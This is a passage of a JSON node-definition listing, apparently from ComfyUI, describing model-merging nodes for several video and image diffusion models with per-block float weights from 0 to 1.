0.0, "max": 1.0, "step": 0.01}], "blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.28.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.29.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.30.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.31.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.32.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.33.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.34.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.35.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.36.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.37.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.38.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.39.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.40.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.41.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.42.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.43.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.44.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.45.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.46.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.47.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "final_layer.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "pos_frequencies.", "t_embedder.", "t5_y_embedder.", "t5_yproj.", "blocks.0.", "blocks.1.", "blocks.2.", "blocks.3.", "blocks.4.", "blocks.5.", "blocks.6.", "blocks.7.", "blocks.8.", "blocks.9.", "blocks.10.", "blocks.11.", "blocks.12.", "blocks.13.", "blocks.14.", "blocks.15.", "blocks.16.", "blocks.17.", "blocks.18.", "blocks.19.", "blocks.20.", "blocks.21.", "blocks.22.", "blocks.23.", "blocks.24.", "blocks.25.", "blocks.26.", "blocks.27.", "blocks.28.", "blocks.29.", "blocks.30.", "blocks.31.", "blocks.32.", "blocks.33.", "blocks.34.", "blocks.35.", "blocks.36.", "blocks.37.", "blocks.38.", "blocks.39.", "blocks.40.", "blocks.41.", "blocks.42.", "blocks.43.", "blocks.44.", "blocks.45.", "blocks.46.", "blocks.47.", "final_layer."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeMochiPreview", "display_name": "ModelMergeMochiPreview", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeLTXV": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "patchify_proj.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "adaln_single.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "caption_projection.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "scale_shift_table": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "proj_out.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "patchify_proj.", "adaln_single.", "caption_projection.", "transformer_blocks.0.", "transformer_blocks.1.", "transformer_blocks.2.", "transformer_blocks.3.", "transformer_blocks.4.", "transformer_blocks.5.", "transformer_blocks.6.", "transformer_blocks.7.", "transformer_blocks.8.", "transformer_blocks.9.", "transformer_blocks.10.", "transformer_blocks.11.", "transformer_blocks.12.", "transformer_blocks.13.", "transformer_blocks.14.", "transformer_blocks.15.", "transformer_blocks.16.", "transformer_blocks.17.", "transformer_blocks.18.", "transformer_blocks.19.", "transformer_blocks.20.", "transformer_blocks.21.", "transformer_blocks.22.", "transformer_blocks.23.", "transformer_blocks.24.", "transformer_blocks.25.", "transformer_blocks.26.", "transformer_blocks.27.", "scale_shift_table", "proj_out."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeLTXV", "display_name": "ModelMergeLTXV", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeCosmos7B": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "pos_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "extra_pos_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "x_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "affline_norm.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "final_layer.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "pos_embedder.", "extra_pos_embedder.", "x_embedder.", "t_embedder.", "affline_norm.", "blocks.block0.", "blocks.block1.", "blocks.block2.", "blocks.block3.", "blocks.block4.", "blocks.block5.", "blocks.block6.", "blocks.block7.", "blocks.block8.", "blocks.block9.", "blocks.block10.", "blocks.block11.", "blocks.block12.", "blocks.block13.", "blocks.block14.", "blocks.block15.", "blocks.block16.", "blocks.block17.", "blocks.block18.", "blocks.block19.", "blocks.block20.", "blocks.block21.", "blocks.block22.", "blocks.block23.", "blocks.block24.", "blocks.block25.", "blocks.block26.", "blocks.block27.", "final_layer."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeCosmos7B", "display_name": "ModelMergeCosmos7B", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeCosmos14B": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "pos_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "extra_pos_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "x_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "affline_norm.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block28.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block29.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block30.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block31.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block32.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block33.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block34.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.block35.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "final_layer.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "pos_embedder.", "extra_pos_embedder.", "x_embedder.", "t_embedder.", "affline_norm.", "blocks.block0.", "blocks.block1.", "blocks.block2.", "blocks.block3.", "blocks.block4.", "blocks.block5.", "blocks.block6.", "blocks.block7.", "blocks.block8.", "blocks.block9.", "blocks.block10.", "blocks.block11.", "blocks.block12.", "blocks.block13.", "blocks.block14.", "blocks.block15.", "blocks.block16.", "blocks.block17.", "blocks.block18.", "blocks.block19.", "blocks.block20.", "blocks.block21.", "blocks.block22.", "blocks.block23.", "blocks.block24.", "blocks.block25.", "blocks.block26.", "blocks.block27.", "blocks.block28.", "blocks.block29.", "blocks.block30.", "blocks.block31.", "blocks.block32.", "blocks.block33.", "blocks.block34.", "blocks.block35.", "final_layer."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeCosmos14B", "display_name": "ModelMergeCosmos14B", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeWAN2_1": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "patch_embedding.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "time_embedding.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "time_projection.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "text_embedding.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "img_emb.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.28.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.29.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.30.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.31.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.32.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.33.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.34.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.35.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.36.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.37.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.38.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.39.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "head.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "patch_embedding.", "time_embedding.", "time_projection.", "text_embedding.", "img_emb.", "blocks.0.", "blocks.1.", "blocks.2.", "blocks.3.", "blocks.4.", "blocks.5.", "blocks.6.", "blocks.7.", "blocks.8.", "blocks.9.", "blocks.10.", "blocks.11.", "blocks.12.", "blocks.13.", "blocks.14.", "blocks.15.", "blocks.16.", "blocks.17.", "blocks.18.", "blocks.19.", "blocks.20.", "blocks.21.", "blocks.22.", "blocks.23.", "blocks.24.", "blocks.25.", "blocks.26.", "blocks.27.", "blocks.28.", "blocks.29.", "blocks.30.", "blocks.31.", "blocks.32.", "blocks.33.", "blocks.34.", "blocks.35.", "blocks.36.", "blocks.37.", "blocks.38.", "blocks.39.", "head."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeWAN2_1", "display_name": "ModelMergeWAN2_1", "description": "1.3B model has 30 blocks, 14B model has 40 blocks. Image to video model has the extra img_emb.", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeCosmosPredict2_2B": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "pos_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "x_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t_embedding_norm.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "final_layer.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "pos_embedder.", "x_embedder.", "t_embedder.", "t_embedding_norm.", "blocks.0.", "blocks.1.", "blocks.2.", "blocks.3.", 